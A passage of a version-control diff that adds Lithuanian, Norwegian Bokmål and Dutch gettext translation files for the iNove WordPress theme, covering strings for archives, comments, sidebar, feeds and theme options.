+msgstr "Naudoti Google tinkintÄ… paieÅ¡kÄ…." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Raskite name=\"cx\" Google Custom Search Engine paieÅ¡kos laukelio kode bei įraÅ¡ykite jo reiÅ¡mÄ™ Äia.
    Pavyzdžiui: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Meniu juosta" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Rodyti puslapius kaip meniu." + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Rodyti kategorijas kaip meniu." + +#: functions.php:231 +msgid "Sidebar" +msgstr "Å oninÄ— juosta" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "PraneÅ¡imas" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML įgalintas" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Å i praneÅ¡imo juosta bus rodoma pradinio puslapio virÅ¡uje." + +#: functions.php:270 +msgid "Banner" +msgstr "ReklamjuostÄ—" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "Å i reklamjuostÄ— bus rodoma deÅ¡inÄ—je antraÅ¡tÄ—s pusÄ—je (aukÅ¡tis: 60 px)." + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Kas gali matyti?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Registruoti vartotojai" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Komentatoriai" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Lankytojai" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Skydelis" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Å is skydelis bus rodomas Å¡oninÄ—s juostos virÅ¡uje." + +#: functions.php:329 +msgid "Title:" +msgstr "AntraÅ¡tÄ—:" + +#: functions.php:345 +msgid "Posts" +msgstr "Ä®raÅ¡ai" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Prie įrašų rodyti autoriaus vardÄ…." + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Prie įrašų rodyti kategorijas." + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Prie įrašų rodyti žymas." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "Ä®raÅ¡yti komentarus su Ctrl+Enter." + +#: functions.php:381 +msgid "Feed" +msgstr "Naujienų srautas" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "Rodyti skaityklių sÄ…rašą, kai pelÄ— užvedama ant RSS srauto mygtuko." + +#: functions.php:390 +msgid "Custom feed." +msgstr "Pasirinktinis RSS srauto" + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Naujienoms siųsti e. paÅ¡tu skirtas" + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Ä®raÅ¡yti pakeitimus" + +#: functions.php:567 +msgid "Reply" +msgstr "Atsakyti" + +#: functions.php:568 +msgid "Quote" +msgstr "Cituoti" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Redaguoti" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "Komentaras laukia patvirtinimo." + +#: links.php:18 +msgid "Add link" +msgstr "PridÄ—ti nuorodÄ…" + +#: links.php:19 +msgid "Edit links" +msgstr "Redaguoti nuorodas" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Prenumeruoti Å¡io tinklaraÅ¡Äio RSS srautÄ…..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Prenumeruoti su " + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Gauti naujus tinklaraÅ¡Äio įraÅ¡us elektroniniu paÅ¡tu..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "Ä®raÅ¡ai e. paÅ¡tu" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Eiti į pradinį puslapį" + +#: single.php:7 +msgid "Home" +msgstr "Ä® pradžiÄ…" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "Ä®veskite, ko ieÅ¡kote..." + +#~ msgid "Blogroll" +#~ msgstr "BlogjuostÄ—" +#~ msgid "Author: " +#~ msgstr "Autorius: " + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/nb_NO.mo Binary file web/wp-content/themes/inove/languages/nb_NO.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/nb_NO.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/nb_NO.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,569 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 13:50+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Norwegian Bokmal\n" +"X-Poedit-Country: NORWAY\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - alle poster" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - alle kommentarer" + +#: 404.php:22 +msgid "Talker" +msgstr "" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Velkommen til feilmeldings siden 404!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Velkommen til denne feilmeldingsiden. Du har kommet til denne siden da du har klikket pÃ¥ en lenke som ikke finnes. Dette er mest sansynlig vÃ¥r feil... Men siden vi ikke vil vise deg den vanlige '404 feil' siden, som egentlig er veldig forvirrende og ikke særlig forklarende laget vi denne for Ã¥ forklare deg hva som er gale." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Du kan enten (a) klikke pÃ¥ 'tilbake' knappen i nettleseren din og prøve pÃ¥ nytt eller (b) du kan klikke pÃ¥ lenken under for Ã¥ gÃ¥ tilbake til framsiden." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Tilbake til framsiden »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Søke resultat" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Stikkord: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Arkiv" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Arkiv for emne ‘%1$s’" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Poster tagget med ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Arkiv for %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "j F Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Forfatter arkiv" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Blog arkiv" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Rediger" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Ingen kommentarer" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 kommentar" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% kommentarer" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Les mer..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Beklager, ingen poster som passet til dine kriterier." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Nyere poster" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Eldre poster" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Skriv en kommentar" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "GÃ¥ til kommentarer" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Oppgi passordet ditt for Ã¥ se kommentarer" + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Kommentarer" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Tilbakespor" + +#: comments.php:34 +msgid "Trackback" +msgstr "Tilbakespor" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Ingen kommentarer enda." + +#: comments.php:72 +msgid "Comment pages" +msgstr "" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s @ %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Ingen tilbakespor enda." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Kommentarer er stengt" + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Du mÃ¥ logge inn for Ã¥ poste en kommentar." + +#: comments.php:150 +msgid "Logged in as" +msgstr "Logget inn som" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Logg ut av denne kontoen" + +#: comments.php:151 +msgid "Logout »" +msgstr "Logg ut »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Velkommen tilbake %s." + +#: comments.php:158 +msgid "Change »" +msgstr "Endre »" + +#: comments.php:159 +msgid "Close »" +msgstr "Steng »" + +#: comments.php:166 +msgid "Name" +msgstr "Navn" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "pÃ¥krevd" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "Epost (vises ikke)" + +#: comments.php:174 +msgid "Website" +msgstr "Blogg" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Abonner pÃ¥ kommentarer (RSS)" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Lagre kommentar" + +#: footer.php:17 +msgid "Top" +msgstr "Topp" + +#: footer.php:27 +msgid "Copyright © " +msgstr "" + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Tema laget av NeoEase. Gyldig XHTML 1.1 og CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Valg for gjeldende tema" + +#: functions.php:194 +msgid "Search" +msgstr "Søk" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Bruk Google egendefinert søke motor." + +#: functions.php:201 +msgid "CX:" +msgstr "CX" + +#: functions.php:204 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Finn name=\"cx\" i Søke boks koden i Google Custom Search Engine, og skriv inn verdien her.
    F.eks.: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "" + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Beskjed" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML tilgjengelig" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Denne beskjeden vil vises over postene pÃ¥ framsiden." + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Hvem kan se den?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Registrerte brukere" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Kommentatorer" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Besøkende" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Beskjed boks" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Denne beskjed boksen vil vises over sidestolpen." + +#: functions.php:329 +msgid "Title:" +msgstr "Tittel:" + +#: functions.php:345 +msgid "Posts" +msgstr "Poster" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Vis forfatter pÃ¥ poster" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Vis emner pÃ¥ poster" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Vis tagger pÃ¥ poster" + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "Kilde" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "Tilpasset kilde" + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Epost kilde." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Lagre endringer" + +#: functions.php:567 +msgid "Reply" +msgstr "Svar" + +#: functions.php:568 +msgid "Quote" +msgstr "Siter" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Rediger" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "" + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "Redigere lenker" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Abonner pÃ¥ denne bloggen..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Abonner med" + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Abonner pÃ¥ denne bloggen via epost..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "Epost kilde" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "GÃ¥ til hjemmeside" + +#: single.php:7 +msgid "Home" +msgstr "Hjem" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/nl_NL.mo Binary file web/wp-content/themes/inove/languages/nl_NL.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/nl_NL.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/nl_NL.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,572 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 13:51+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - alle berichten" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - alle reacties" + +#: 404.php:22 +msgid "Talker" +msgstr "Auteur" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Welkom op de 404 error pagina!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Welkom op deze aangepaste error pagina. Je hebt deze pagina bereikt omdat je hebt geklikt op een niet (meer) bestaande link. Dit is waarschijnlijk onze schuld.. Maar in plaats het laten zien van de standaard '404 Error' pagina, die eigenlijk niets oplost, hebben we deze pagina gemaakt om uit te leggen wat er fout ging." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Je kunt op de 'terug'-knop drukken in je browser en verder browsen over de site. Of klik op de volgende link om naar de startpagina te gaan." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Terug naar de startpagina »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Zoekresultaten" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Trefwoord: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Archief" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Archief voor de ‘%1$s’ Categorie" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Berichten met tag ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Archief voor %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "j F Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Archief van auteur" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Blog archief" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Wijzig" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Geen reacties" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 reactie" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% reacties" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "Reacties uit" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Lees meer..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "Categorieën:" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "Tags:" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Sorry, er voldoen geen berichten aan je criteria." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Nieuwere berichten" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Oudere berichten" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Reageer" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "Ga naar reacties" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Voer je wachtwoord in om de reacties te zien." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Reacties" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Trackbacks" + +#: comments.php:34 +msgid "Trackback" +msgstr "Trackback" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Nog geen reacties." + +#: comments.php:72 +msgid "Comment pages" +msgstr "Reactie-pagina's" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s op %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Nog geen trackbacks." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Geen reacties mogelijk." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Je moet ingelogd zijn om te reageren." + +#: comments.php:150 +msgid "Logged in as" +msgstr "Ingelogd als" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Meld deze account af" + +#: comments.php:151 +msgid "Logout »" +msgstr "Meld af »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Welkom terug %s." + +#: comments.php:158 +msgid "Change »" +msgstr "Wijzig »" + +#: comments.php:159 +msgid "Close »" +msgstr "Sluit »" + +#: comments.php:166 +msgid "Name" +msgstr "Naam" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(verplicht)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-mail (wordt niet openbaar gemaakt)" + +#: comments.php:174 +msgid "Website" +msgstr "Website" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Abonneer op reacties (RSS)" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Reageer" + +#: footer.php:17 +msgid "Top" +msgstr "Top" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Thema door NeoEase. Geldige XHTML 1.1 en CSS 3. " + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Opties huidige thema" + +#: functions.php:194 +msgid "Search" +msgstr "Zoek" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Gebruik makend van google custom search engine." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Vind name=\"cx\" in de zoekveld-code van de Google Custom Search Engine, en type de waarde hier.
    Bijvoorbeeld: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Menubalk" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Laat pagina's zien als menu." + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Laat categorieën zien als menu " + +#: functions.php:231 +msgid "Sidebar" +msgstr "Zijbalk" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Bericht" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML is ingeschakeld" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Deze balk zal verschijnen bovenaan berichten op de startpagina." + +#: functions.php:270 +msgid "Banner" +msgstr "Banner" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "Deze banner wordt weergeven rechts van de header. (hoogte: 60 pixels)" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Wie kan het zien?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Geregistreerde gebruikers" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Reageerder" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Bezoekers" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Showcase" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Deze showcase zal bovenaan de zijbalk verschijnen." + +#: functions.php:329 +msgid "Title:" +msgstr "Titel:" + +#: functions.php:345 +msgid "Posts" +msgstr "Artikelen" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Bekijk auteur per artikelen." + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Laat categorieën zien bij posts." + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Laat tags zien bij posts." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "Voeg reactie toe met Ctrl+Enter." + +#: functions.php:381 +msgid "Feed" +msgstr "Feed" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "Laat de feed lezers lijst zien wanneer je er met je muis de feed button ga." + +#: functions.php:390 +msgid "Custom feed." +msgstr "Aangepaste feed." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "E-mail feed." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Bewaar wijzigingen." + +#: functions.php:567 +msgid "Reply" +msgstr "Reactie" + +#: functions.php:568 +msgid "Quote" +msgstr "Quote" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Wijzig (geavanceerd)" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "Je reactie wacht op moderatie." + +#: links.php:18 +msgid "Add link" +msgstr "Voeg link toe" + +#: links.php:19 +msgid "Edit links" +msgstr "Wijzig links" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Abonneer je op deze blog..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Abonneer met " + +#: 